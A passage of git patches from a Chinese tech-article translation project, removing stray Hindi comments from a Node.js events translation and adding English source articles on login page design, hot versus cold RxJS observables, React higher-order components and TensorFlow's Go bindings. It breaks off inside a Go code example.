+我们可以在命名事件之后使用任何需要的参数, 这些参数将在我们为命名事件注册的监听器函数内部可用。
 
 例如：`data` 事件执行的时候，监听函数在注册的时候就会允许我们的接收事件触发的 data 参数，而 asyncFunc 函数也实实在在暴露给了我们。
 

From b5e956e933dbe18418abe3ecfd19bb6519b0807e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:42:12 +0800
Subject: [PATCH 603/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index a1ee2387157..2a19ab79490 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -445,12 +445,10 @@ EventEmitter 模块暴露一个 once 方法。这个方法仅允许调用一次
 如果我们在同一个事件上注册多个监听器，则监听器会按顺序触发，第一个注册的监听器就是第一个触发的。
 
 ```js
-// प्रथम
 withTime.on('data', (data) => {
   console.log(`Length: ${data.length}`);
 });
 
-// दूसरा
 withTime.on('data', (data) => {
   console.log(`Characters: ${data.toString().length}`);
 });
@@ -463,12 +461,10 @@ withTime.execute(fs.readFile, __filename);
 如果你想定义一个监听器，还想插队到前面的话，要使用 prependListener 方法来注册。
 
 ```js
-// प्रथम
 withTime.on('data', (data) => {
   console.log(`Length: ${data.length}`);
 });
 
-// दूसरा
 withTime.prependListener('data', (data) => {
   console.log(`Characters: ${data.toString().length}`);
 });

From c90428996faca7c0205587e278a17b3f657ef54c Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Mon, 5 Jun 2017 09:54:15 +0800
Subject: [PATCH 604/638] Create some articles

---
 TODO/getting-the-login-page-right.md          |  79 ++++
 TODO/hot-vs-cold-observables.md               | 155 +++++++
 TODO/understanding-higher-order-components.md | 146 ++++++
 TODO/understanding-tensorflow-using-go.md     | 425 ++++++++++++++++++
 4 files changed, 805 insertions(+)
 create mode 100644 TODO/getting-the-login-page-right.md
 create mode 100644 TODO/hot-vs-cold-observables.md
 create mode 100644 TODO/understanding-higher-order-components.md
 create mode 100644 TODO/understanding-tensorflow-using-go.md

diff --git a/TODO/getting-the-login-page-right.md b/TODO/getting-the-login-page-right.md
new file mode 100644
index 00000000000..ddb9d73c6f2
--- /dev/null
+++ b/TODO/getting-the-login-page-right.md
@@ -0,0 +1,79 @@
+> * 原文地址：[Getting the login page right](https://blog.prototypr.io/getting-the-login-page-right-d1ce6015235e)
+> * 原文作者：[Boluwatife Ben-Adeola](https://blog.prototypr.io/@tife1379)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+---
+
+# Getting the login page right
+
+Now for full disclosure, this is more of a collection of already utilised strategies on designing login pages, than it is of new insights into how to do so. However, it is important to expose the motives behind most of the seemingly unintentional design approaches. As the saying goes; “There’s nothing new under the sun…”, but it isn’t much use if we don’t know what’s under the sun in the first place - or why its there. Ok that’s about enough justification for me writing an article about other people’s genius.
+
+So the general message is that, the art (yes, its an art) of creating login/signup pages is not random! Or at least should not be, to get optimal results. It is a very important element to the entire experience of an application that should -must- be inline with the current objectives of the application as a whole.
+
+I’ll be taking on a few of the factors that determine the layout of this page.
+
+---
+
+#### 1 ) Platform of access : Website Or App?
+
+Now the influence on this is based on a rather obvious reality; most users visiting the desktop version of your platform, are most likely new customers. These folks want to get a hang of what exactly you’re about before making the decision to use their time(and bandwidth) to download a the native app. This is kind of a rule of thumb, that an app is a loyalty tool; people download it when they’ve come to appreciate your service and want to enjoy all of the benefits an app has to offer like instant notifications and all. That said, it makes sense to assume MOST people coming to the app are returning users, and MOST people coming to the website for access are newbies. So what should this tell you about how to build the first page both of these groups see when they visit their respectively likely platforms? Let me give this its own paragraph so it has a lasting impression:
+
+***Build a sign-in-centric page for native apps and a sign-up-centric page for the desktop version!***
+
+The purpose of this is simply to please the majority of each both groups where they are most likely to be found.
+
+A few examples of this rule at work, incase you’ve always missed it.
+
+![](https://cdn-images-1.medium.com/freeze/max/30/1*nn_BIbwZADDqOlArc2CLng.jpeg)
+
+The red boxes are for allocated sign in space and the purple for allocated sign up space.
+As you can see from the picture, there is an obvious preference for sign up against sign in terms of allocated space on each page.
+
+![](https://cdn-images-1.medium.com/max/800/1*8K4YHt_wyGNABzjefVF5Rw.jpeg)
+
+Same color convention is applied here as with the previous image.
+The exact opposite is the case for mobile apps of the same networks!
+
+---
+
+#### 2 ) Size Of Network
+
+This is for a case where you have both groups of returning and new users flocking equally to the same destination, usually the website. However, you may not have this equal influx of both groups at the same time. Meaning when you just roll your service out, you’ll definitely(hopefully) have a lot of new users, and not that many existing ones (beta testers and the dev team that built it.) So, who do you think it makes more sense to make provision for? New users of course, and how? Well this is another teaching moment here, so i’ll take my time spell it out again:
+
+***At the early stage of your platform create a sign-up-centric page!***
+
+As obvious as this may seem, a lot of designers(mostly developers) just put up the common template they’re used to seeing for landing pages, which is that of a sign in page. But the problem is, the only reason why you saw that app that gave you inspiration for what yours should look like is because the app already has a grown network! Thats why you’re on it in the first place! So we mostly don't get to see what our favorite networks looked like when they were just growing and in need of numbers, like we are right now. So you’re not taking advice from the wrong people, just taking it at the wrong time. Perhaps if we went back in time with these platforms to see what they were like when they were where you are right now you’ll get an idea of what to do.
+
+Well lucky for you, i happen to own a D’lorean(for those unfortunate enough to not have seen the movie, i’m talking about a time machine), and will do you the favour of taking you back in time with one of the best networks.
+
+![](https://cdn-images-1.medium.com/max/800/1*R9ObciULy-F55BSWXQibcA.jpeg)
+
+1 — 2008, 2 — 2009, 3 — 2012.
+Okay, so yeah, it’s twitter.
+
+#1–2008 — This was their first ever landing page, just rolling out with their new idea the sign in form is hardly decorated and sidelined(literally). But you see them focussing more on telling you what the new platfom is about, with a nicely colored call-to-action button telling you to sign up, and another red CTA button, telling you to watch a demo video about it. Not to much emphasis on the sign in yet because they know the focus right now is to get their first members. And for the few who have already joined? Well, they can figure out where the sign in form is.
+
+#2–2009 — Okay, so they got some attention and a reasonable amount of members, and almost immediately(a year after launch) show some more consideration for the existing users, which are now a reasonable amount to give attention to UI features. But the sign up button still reigns supreme right in the middle, in the ever vibrant lemon green.
+
+#3–2012 — Started from the bottom now we’re here! So they have a steady flow of new comers and a larger collection of existing users. How does this reflect on the landing page? By giving equal amount of attention to new and existing users. Why? Because the new users must always be catered for, but now the size of the existing user base is too large to ignore and not to take care of, ensuring its easy for all of them to continue to use the platform they have come to love!
+
+So you see an issue can come about when a designer looking around for a good concept for a landing page of a new network stumbles across this twitter page and thinks to herself: “Genius! put sign in and sign up together! Let’s do that too”. But uh… NO! Because you’re not remotely where twitter is in terms of new-to-existing-user ratio, so you can’t adopt their methods. The lesson of this story? Okay another teaching moment! So the usual methods are in order:
+
+***Sometimes there is more wisdom in looking into the past than the present when learning from a design.***
+
+#### 3) The outliers
+
+Of course we always have those guys that just can’t conform to a pattern that you discovered and make you look like you cracked the code of all UI/UX. No, they have to go ahead and break the rules and do their own thing. These include landing pages like Facebook, which despite an enormous user base, still give preference to new comers with the sign up space. And like our very own medium, which as a result of being in an early stage of user base growth, have even their native app with a sign- up-first design. But we can understand their approach though. So i guess they kind of conform to the user-base-size rule (#2).
+
+![](https://cdn-images-1.medium.com/max/800/1*pWuQJ8ix9kVgENNHt3VKqw.png)
+
+Sign in taking less preference even in the mobile app
+Alright then, so the final message is, don’t treat the sign in/sign up page like some bookkeeping procedural design that really deserves no thought to it, because ***every design decision, no matter how mundane, deserves intent and purpose from you***.Final words… Talk to other members of the team, listen to the strategy for the product as a whole and see how your design decisions can help achieve that all starting from the first, but usually overlooked friend of ours — the login page. Or sign up page, but i had to use just one for a more dramatic ending. :-)
+
+![](https://i.embed.ly/1/display/resize?url=https%3A%2F%2Fupscri.be%2Fmedia%2Fform.jpg&amp;key=4fce0568f2ce49e8b54624ef71a8a5bd&amp;width=40)
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
diff --git a/TODO/hot-vs-cold-observables.md b/TODO/hot-vs-cold-observables.md
new file mode 100644
index 00000000000..69cd4e46715
--- /dev/null
+++ b/TODO/hot-vs-cold-observables.md
@@ -0,0 +1,155 @@
+> * 原文地址：[Hot vs Cold Observables](https://medium.com/@benlesh/hot-vs-cold-observables-f8094ed53339)
+> * 原文作者：[Ben Lesh](https://medium.com/@benlesh)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+---
+
+# Hot vs Cold Observables
+
+## TL;DR: You want a HOT observable when you don’t want to create your producer over and over again.
+
+#### COLD is when your observable creates the producer
+
+    // COLD
+    var cold = new Observable((observer) => {
+      var producer = new Producer();
+      // have observer listen to producer here
+    });
+
+#### HOT is when your observable closes over the producer
+
+    // HOT
+    var producer = new Producer();
+    var hot = new Observable((observer) => {
+      // have observer listen to producer here
+    });
+
+### Getting deeper into what’s going on…
+
+My last article about [Learning Observable By Building Observable](https://medium.com/@benlesh/learning-observable-by-building-observable-d5da57405d87) was mostly to illustrate that observables are just functions. The goal there was to demystify observables themselves, but it doesn’t really dive into one of the issues that seem to confuse people the most about observables: The notion of “hot” vs “cold”.
+
+#### Observables are just functions!
+
+Observables are functions that tie an observer to a producer. That’s it. They don’t necessarily set up the producer, they just set up an observer to listen to the producer, and generally return a teardown mechanism to remove that listener. The act of subscription is the act of “calling” the observable like a function, and passing it an observer.
+
+#### What’s a “Producer”?
+
+A producer is the source of values for your observable. It could be a web socket, it could be DOM events, it could be an iterator, or something looping over an array. Basically, it’s anything you’re using to get values and pass them to `observer.next(value)`.
+
+### Cold Observables: Producers created *inside*
+
+An observable is “cold” if its underlying producer is **created and activated **during subscription. This means, that if observables are functions, then the producer is created and activated by *calling that function.*
+
+1. creates the producer
+2. activates the producer
+3. starts listening to the producer
+4. unicast
+
+The example below is “cold” because it creates and listens to the WebSocket *inside* of the subscriber function that is called when you subscribe to the Observable:
+
+    const source = new Observable((observer) => {
+      const socket = new WebSocket('ws://someurl');
+      socket.addEventListener('message', (e) => observer.next(e));
+      return () => socket.close();
+    });
+
+So anything that subscribes to `source` above, will get its own WebSocket instance, and when it unsubscribes, it will `close()` that socket. This means that our source is really only ever unicast, because the producer can only send to one observer. [Here is a basic JSBin illustrating the idea.](http://jsbin.com/wabuguy/1/edit?js,output)
+
+### Hot Observables: Producers created *outside*
+
+An observable is “hot” if its underlying producer is either created or activated outside of subscription.¹
+
+1. shares a reference to a producer
+2. starts listening to the producer
+3. multicast (usually²)
+
+If we were to take our example above and move the creation of the WebSocket *outside* of our observable it would become “hot”:
+
+    const socket = new WebSocket('ws://someurl');
+
+    const source = new Observable((observer) => {
+      socket.addEventListener('message', (e) => observer.next(e));
+    });
+
+Now anything that subscribes to `source` will share the same WebSocket instance. It will effectively multicast to all subscribers now. But we have a little problem: We’re no longer carrying the logic to teardown the socket with our observable. That means that things like errors and completions, as well as unsubscribe, will no longer close the socket for us. So what we really want is to make our “cold” observable “hot”. [Here is a JSBin showing this basic concept.](http://jsbin.com/godawic/edit?js,output)
+
+#### Why Make A “Hot” Observable?
+
+From the first example above showing a cold observable, you can see that there might be some problems with having all cold observables all the time. For one thing, if you’re subscribing to an observable more than once that is creating some scarce resource, like a web socket connection, you don’t want to create that web socket connection over and over. It’s actually really easy to create more than one subscription to an observable without realizing it too. Let’s say you want to filter all of the “odd” and “even” values out of your web socket subscription. You’ll end up creating two subscriptions in the following scenario:
+
+    source.filter(x => x % 2 === 0)
+      .subscribe(x => console.log('even', x));
+
+    source.filter(x => x % 2 === 1)
+      .subscribe(x => console.log('odd', x));
+
+### Rx Subjects
+
+Before we can make our “cold” observable “hot”, we need to introduce a new type: The Rx Subject. It has a few properties:
+
+1. It’s an observable. It’s shaped like an observable, and has all the same operators.
+2. It’s an observer. It duck-types as an observer. When subscribed to as an observable, will emit any value you “next” into it as an observer.
+3. It multicasts. All observers passed to it via `subscribe()` are added to an internal observers list.
+4. When it’s done, it’s done. Subjects cannot be reused after they’re unsubscribed, completed or errored.
+5. It passes values through itself. To restate #2, really. If you `next` a value into it, it will come out of the observable side of itself.
+
+An Rx Subject is called a “subject” for item #3 above. “Subjects” in the Gang of Four Observer-Pattern are classes with an `addObserver` method, generally. In this case, our `addObserver` method is `subscribe`. [Here is a JSBin showing the basic behavior of an Rx Subject.](http://jsbin.com/muziva/1/edit?js,output)
+
+### Making A Cold Observable Hot
+
+Armed with our Rx Subject above, we can use a bit of functional programming to make any “cold” observable “hot”:
+
+    function makeHot(cold) {
+      const subject = new Subject();
+      cold.subscribe(subject);
+      return new Observable((observer) => subject.subscribe(observer));
+    }
+
+Our new `makeHot` method will take any cold observable and make it hot by creating a subject that is shared by the resulting observable. [Here’s a JSBin of this in action.](http://jsbin.com/ketodu/1/edit?js,output)
+
+We still have a little problem, though, we’re not tracking our subscription to source, so how can we tear it down when we want to? We can add some reference counting to it to solve that:
+
+    function makeHotRefCounted(cold) {
+      const subject = new Subject();
+      const mainSub = cold.subscribe(subject);
+      let refs = 0;
+      return new Observable((observer) => {
+        refs++;
+        let sub = subject.subscribe(observer);
+        return () => {
+          refs--;
+          if (refs === 0) mainSub.unsubscribe();
+          sub.unsubscribe();
+        };
+      });
+    }
+
+Now we have an observable that is hot, and when all subscriptions to it are ended, the `refs` we’re using to do reference counting will hit zero, and we’ll unsubscribe from our cold source observable. [Here is a JSBin demonstrating this in action](http://jsbin.com/lubata/1/edit?js,output).
+
+### In RxJS, Use `publish()` or `share()`
+
+You probably shouldn’t use any of the `makeHot` functions above, and instead should use operators like `publish()` and `share()`. There are a lot of ways and means to make a cold observable hot, and in Rx there are efficient and concise ways to perform each of those things. One could write an entire article just on the various operators used for this in Rx, but that wasn’t the goal here. The goal was to solidify the idea of what “hot” and “cold” really mean.
+
+In RxJS 5, the operator `share()` makes a hot, refCounted observable that can be retried on failure, or repeated on success. Because subjects cannot be reused once they’ve errored, completed or otherwise unsubscribed, the `share()` operator will recycle dead subjects to enable resubscription to the resulting observable.
+
+[Here is a JSBin demonstrating using `share()` to make a source hot in RxJS 5, and showing that it can be retried.](http://jsbin.com/mexuma/1/edit?js,output)
+
+### The “Warm” Observable
+
+Given everything stated above, one might be able to see how an Observable, being that it’s *just a function*, could actually be both “hot” and “cold”. Perhaps it observes two producers? One it creates and one it closes over? That’s probably bad juju, but there are rare cases where it might be necessary. A multiplexed web socket for example, must share a socket, but send its own subscription and filter out a data stream.
+
+### “Hot” And “Cold” Are All About The Producer
+
+If you’re closing over a shared reference to a producer in your observable, it’s “hot”, if you’re creating a new producer in your observable, it’s “cold”. If you’re doing both…. what are you doing? It’s “warm” I guess.
+
+#### NOTES
+
+¹ (NOTE: It’s sort of weird to say the producer is “activated” inside the subscription, but not “created” until some later point, but with proxies, that could be possible.) Usually “hot” observables have their producers both created and activated outside of the subscription.
+
+² Hot observables are usually multicast, but they could be listening to a producer that only supports one listener at a time. The grounds for calling it “multicast” at that point are a little fuzzy.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
diff --git a/TODO/understanding-higher-order-components.md b/TODO/understanding-higher-order-components.md
new file mode 100644
index 00000000000..b553e819d87
--- /dev/null
+++ b/TODO/understanding-higher-order-components.md
@@ -0,0 +1,146 @@
+> * 原文地址：[Understanding Higher Order Components](https://medium.freecodecamp.com/understanding-higher-order-components-6ce359d761b)
+> * 原文作者：[Tom Coleman](https://medium.freecodecamp.com/@tmeasday)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+---
+
+# Understanding Higher Order Components
+
+## *Making sense of the rapidly changing React best practice.*
+
+[![](https://cdn-images-1.medium.com/max/1000/1*w4MV4Ufnk2WWY4LgX9ZhPA.jpeg)](http://jamesturrell.com/work/type/skyspace/)
+
+If you’re new to React, you may have heard about “Higher Order Components” and “Container” components. If so, you may be wondering what all the fuss is about. Or you may have even used an API for a library that provides one, and been a little confused about the terminology.
+
+As a maintainer of [Apollo’s React integration](http://dev.apollodata.com/react/) — a popular open source library that makes heavy use of High Order Components — and the author of much of its documentation, I’ve spent a bit of time getting my head around the concept myself.
+
+I hope this post can help shed some light on the subject for you too.
+
+### **A React re-primer**
+
+This post assumes that you are familiar with React — if not there’s a lot of great content out there. For instance Sacha Greif’s [5 React Concepts post](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3) is a good place to start. Still, let’s just go over a couple of things to get our story straight.
+
+A React Application consists of a set of **components**. A component is passed a set of input properties (**props**) and produces some HTML which is rendered to the screen. When the component’s props change, it re-renders and the HTML may change.
+
+When the user of the application interacts with that HTML, via some kind of event (such as a mouse click), the component handles it either by triggering a **callback** prop, or changing some internal **state**. Changing internal state also causes it and its children to re-render.
+
+This leads to a component **lifecycle**, as a component is rendered for the first time, attached to the DOM, passed new props, etc.
+
+A component’s render function returns one or instances of other components. The resultant **view tree** is a good mental model to keep in mind for how the components of the app interact. In general they interact only by passing props to their children or triggering callbacks passed by their parents.
+
+![](https://cdn-images-1.medium.com/max/800/1*NS6TPKPJuCgsK2M45tPIGw.gif)
+
+Data flow in a React view tree
+
+### **React UI vs statefulness**
+
+It seems almost dated now, but there was a time where everything was described in terms of the distinction between Models, Views and Controllers (or View Models, or Presenters, etc). In this classification, a View’s task is to **render **and deal with user interaction, and a Controller’s is to **prepare data**.
+
+A recent trend in React is towards **functional stateless components**. These simplest “pure” components only ever transform their props into HTML and call callback props on user interaction:
+
+![](https://ws3.sinaimg.cn/large/006tNc79gy1fg9il3qk1uj314o0e0q4d.jpg)
+
+They are functional because you can really think of them as functions. If your entirely view tree consisted of them you are really talking about one big function to produce HTML composed of calls to many smaller ones.
+
+A nice property of functional stateless components is that they are super-easy to test, and simple to understand. This means they are easier to develop and quicker to debug.
+
+But you can’t always get away with this. UI does need state. For instance, your menu may need to open when the user hovers over it (ugh, I hope not!)—and the way to do this in React is certainly by using state. To use state, you use class-based components.
+
+Where things get complicated is wiring the “global state” of your UI into the view tree.
+
+### Global State
+
+Global state in your UI is the state that isn’t directly and uniquely relevant to a single component. It typically consists of two main types of things:
+
+1. The **data** in your application that has come from some server. Typically the data is used in multiple places and so is not unique to a single component.
+
+2. **Global UI state**, (like the URL, and thus which page the user is looking at).
+
+One approach to global state is to attach it to the highest “root” component in your app and pass it down the tree to all the components that need it. You then pass all changes to that state back up the tree via a chain of callbacks.
+
+![](https://cdn-images-1.medium.com/max/800/1*-RDYOXCu7BBOTnkFsE3yFg.gif)
+
+Data flow from the store into a view tree, with a single container
+
+This approach gets unwieldy pretty quickly, though. It means the root component needs to understand the requirements of it’s entire tree, and likewise for every parent of every subtree in the entire tree. That’s where this next concept comes in.
+
+### **Containers and Presentational Components**
+
+This problem is typically solved by allowing components to access global state anywhere in the view tree (some restraint is typically called for).
+
+In this world, components can be classified into those that access the global state, and those that don’t.
+
+The “pure” components that do not are the easiest to test and understand (especially if they are functional stateless components). A soon as a component is “impure” it’s tainted and harder to deal with.
+
+For this reason, [a pattern](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0) has emerged to separate each “impure” component into **two** components:
+
+- The **container** component that does the “dirty” global state work
+- The **presentational** component that does not.
+
+We can now treat the presentational component just like we treated our simple components above, and isolate the dirty, complex data handling work in the container.
+
+![](https://cdn-images-1.medium.com/max/800/1*tIdBW-TqotpALD3b2xk3SA.gif)
+
+Data flow with multiple containers
+
+### The container
+
+Once you’re on board with the presentational/container component split, writing container components becomes interesting.
+
+One thing you notice is they often don’t look a lot like a component at all. They might:
+
+- Fetch and pass one piece of global state (say from Redux) into their child.
+- Run one data-accessing (say GraphGL) query and pass the results into their child.
+
+Also, if we follow a good separation of concerns, our containers will **only ever render a single child component**. The container is necessarily tied to the child, because the child is hardwired in the render function. Or is it?
+
+### Generalizing containers
+
+For any “type” of container component (for instance one that access Redux’s store), the implementation looks the same, differing only in the details: which child component they render, and what exact data they are fetching.
+
+For example, in the world of Redux, a container might look like:
+
+![](https://ws2.sinaimg.cn/large/006tNc79gy1fg9ilyq3foj314q0owwhi.jpg)
+
+Even though this container doesn’t do most of what a true Redux container would do, you can already see that apart from the implementation of `mapStateToProps` and the specific `MyComponent` that we are wrapping, there is a lot of boilerplate that we would have to write **every single time we write a Redux-accessing container**.
+
+### Generating Containers
+
+In fact, it might be simpler just to write a function that **generates** the container component based on the pertinent information (in this case the child component and the `mapStateToProps` function).
+
+![](https://ws3.sinaimg.cn/large/006tNc79gy1fg9imav510j314m0ikq51.jpg)
+
+This is a **Higher Order Component** (HOC), which is a **function** that takes a child component and some options, then builds a container for that child.
+
+It’s “higher order” in the same way as a “higher order function” — a function that builds a function. In fact you can think of React Components as functions that produce UI. This works especially well for functional stateless components, but if you squint, it works for pure stateful presentational components as well. A HOC is exactly a higher order function.
+
+### **Examples of HOCs**
+
+There are many, but some notable ones:
+
+- The most common is probably [Redux’s](http://redux.js.org)`connect` function, which our `buildReduxContainer` function above is just a shabby version of.
+- [React Router’s](https://github.com/ReactTraining/react-router)`withRouter` function which simply grabs the router off the context and makes it a prop for the child.
+- `[react-apollo](http://dev.apollodata.com/react/)`'s main interface is the `graphql` HOC, which, given a component and a GraphQL query, provides the results of that query to the child.
+- [Recompose](https://github.com/acdlite/recompose) is a library that’s full of HOCs that do a variety of small tasks you may want to abstract away from your components.
+
+### **Custom HOCs**
+
+Should you write new HOCs in your app? Sure, if you have component patterns that could be generalized.
+
+> Beyond simply sharing utility libraries and simple composition, HOCs are the best way to share behavior between React Components.
+
+Writing a HOC is a simple as a function that returns a Class, like we saw with our `buildReduxContainer` function above. If you want to read more about what you can do when you build HOCs, I suggest you read Fran Guijarro’s [extremely comprehensive post](https://medium.com/@franleplant/react-higher-order-components-in-depth-cf9032ee6c3e#.pvnx42kku) on the subject.
+
+### Conclusion
+
+Higher order components are at heart a codification of a separation of concerns in components in a **functional** way. Early versions of React used classes and mixins to achieve code reuse, but all signs point to this more functional approach driving the future design of React.
+
+If your eyes typically glaze over when you hear about functional programming techniques, don’t worry! The React team has done a great job of taking the best simplifying parts of these approaches to lead us all toward writing more modular, componetized UIs.
+
+If you want to learn more about building applications in a modern, component-oriented fashion, check my [series of posts](https://blog.hichroma.com/ui-components/home) at [Chroma](https://www.hichroma.com), and if you like this article, please consider 💚ing and sharing it!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
diff --git a/TODO/understanding-tensorflow-using-go.md b/TODO/understanding-tensorflow-using-go.md
new file mode 100644
index 00000000000..5947f4b9885
--- /dev/null
+++ b/TODO/understanding-tensorflow-using-go.md
@@ -0,0 +1,425 @@
+> * 原文地址：[Understanding Tensorflow using Go](https://pgaleone.eu/tensorflow/go/2017/05/29/understanding-tensorflow-using-go/)
+> * 原文作者：[Paolo Galeone](https://pgaleone.eu/about/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Understanding Tensorflow using Go
+
+Tensorflow is not a Machine Learning specific library, instead, is a general purpose computation library that represents computations with graphs.
+Its core is implemented in C++ and there are also bindings for different languages. The bindings for the Go programming language, differently from the Python ones, are a useful tool not only for using Tensorflow in Go but also for understanding how Tensorflow is implemented under the hood.
+
+## The bindings
+
+Officially, the Tensorflow’s developers released:
+
+- The C++ source code: the real Tensorflow core where the high & low level operations are concretely implemented.
+- The Python bindings & the Python library: the bindings are automatically generated from the C++ implementation, in this way we can use Python to invoke C++ functions: that’s how, for instance, the core of numpy is implemented.
+The library, moreover, combines calls to the bindings in order to define the higher level API that everyone’s using Tensorflow knows well.
+- The Java bindings
+- The Go binding
+
+Being a Gopher and not a Java lover, I started looking at the Go bindings in order to understand what kind of tasks they were created for.
+
+## The Go bindings
+
+![Tensorflow &amp; Go](https://pgaleone.eu/images/tensorflow_go/tensorgologo.png)
+
+The Gopher (created by Takuya Ueda ([@tenntenn](https://twitter.com/tenntenn)). Licensed under the Creative Commons 3.0 Attributions license)
+
+overlapping the Tensorflow Logo.
+
+---
+
+The first thing to note is that the Go API, for admission of the maintainers itself, lacks the `Variable` support: this API is designed to **use** trained models and **not for training** models from scratch.
+This is clearly stated in the [Installing Tensorflow for Go](https://www.tensorflow.org/versions/master/install/install_go):
+
+> TensorFlow provides APIs for use in Go programs. These APIs are particularly well-suited to loading models created in Python and executing them within a Go application.
+
+If we’re not interested in training ML models: hooray!
+If, instead, you’re interested in training models here’s an advice:
+
+> Be a real gopher, keep it simple! Use Python to define & train models; you can always load trained models and using them with Go later!
+
+In short: the go bindings can be used to **import and define** constants graphs; where constant, in this context, means that there’s no training process involved and thus no trainable variables.
+
+Let’s now start diving into Tensorflow using Go: let’s create our first application.
+
+In the following, I suppose that the reader has its Go environment ready and the Tensorflow bindings compiled and installed as explained in the [README](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/go/README.md).
+
+## Understand Tensorflow structure
+
+Let’s repeat what Tensorflow is (kept from the [Tensorflow website](https://www.tensorflow.org/), the emphasis is mine):
+
+> TensorFlow™ is an open source software library for numerical computation using data flow graphs. Nodes in the graph **represent** mathematical operations, while the graph edges **represent** the multidimensional data arrays (tensors) communicated between them.
+
+We can think of Tensorflow as a descriptive language, a bit like SQL, in which you describe what you want and let the underlying engine (the database) parse your query, check for syntactic and semantic errors, convert it to its private representation, optimize it and compute the results: all this to give you the correct results.
+
+Therefore, what we really do when we use any of the available APIs is to describe a graph: the evaluation of the graph starts when we place it into a `Session` and explicitly decide to `Run` the graph within the Session.
+
+Knowing this, let’s try to define a computational graph and evaluate it within a `Session`.
+The [API documentation](https://godoc.org/github.com/tensorflow/tensorflow/tensorflow/go) gives us a pretty clear list of the available methods within the packages `tensorflow` (shorthanded `tf`) & `op`.
+
+As we can see, these two packages contains everything we need to define and evaluate a graph.
+
+The former contains the functions to construct the basic “empty” structures like the `Graph` itself, the latter is the most important package that contains the bindings automatically generated from the C++ implementation.
+
+However, suppose that we want to compute the matrix multiplication between AAA and xxx where
+
+![](https://ws2.sinaimg.cn/large/006tNc79gy1fg9itnbsc7j31au06274m.jpg)
+
+I suppose that the reader is already familiar with the tensorflow graph definition idea and knows what placeholders are and how they work.
+The code below is the first attempt that a Tensorflow Python bindings user would make. Let’s call this file `attempt1.go`
+
+```
+package main
+
+import (
+	"fmt"
+	tf "github.com/tensorflow/tensorflow/tensorflow/go"
+	"github.com/tensorflow/tensorflow/tensorflow/go/op"
+)
+
+func main() {
+	// Let's describe what we want: create the graph
+
+	// We want to define two placeholder to fill at runtime
+	// the first placeholder A will be a [2, 2] tensor of integers
+	// the second placeholder x will be a [2, 1] tensor of intergers
+
+	// Then we want to compute Y = Ax
+
+	// Create the first node of the graph: an empty node, the root of our graph
+	root := op.NewScope()
+
+	// Define the 2 placeholders
+	A := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 2)))
+	x := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 1)))
+
+	// Define the operation node that accepts A & x as inputs
+	product := op.MatMul(root, A, x)
+
+	// Every time we passed a `Scope` to an operation, we placed that
+	// operation **under** that scope.
+	// As you can see, we have an empty scope (created with NewScope): the empty scope
+	// is the root of our graph and thus we denote it with "/".
+
+	// Now we ask tensorflow to build the graph from our definition.
+	// The concrete graph is created from the "abstract" graph we defined
+	// using the combination of scope and op.
+
+	graph, err := root.Finalize()
+	if err != nil {
+		// It's useless trying to handle this error in any way:
+		// if we defined the graph wrongly we have to manually fix the definition.
+
+		// It's like a SQL query: if the query is not syntactically valid
+		// we have to rewrite it
+		panic(err.Error())
+	}
+
+	// If here: our graph is syntatically valid.
+	// We can now place it within a Session and execute it.
+
+	var sess *tf.Session
+	sess, err = tf.NewSession(graph, &tf.SessionOptions{})
+	if err != nil {
+		panic(err.Error())
+	}
+
+	// In order to use placeholders, we have to create the Tensors
+	// containing the values to feed into the network
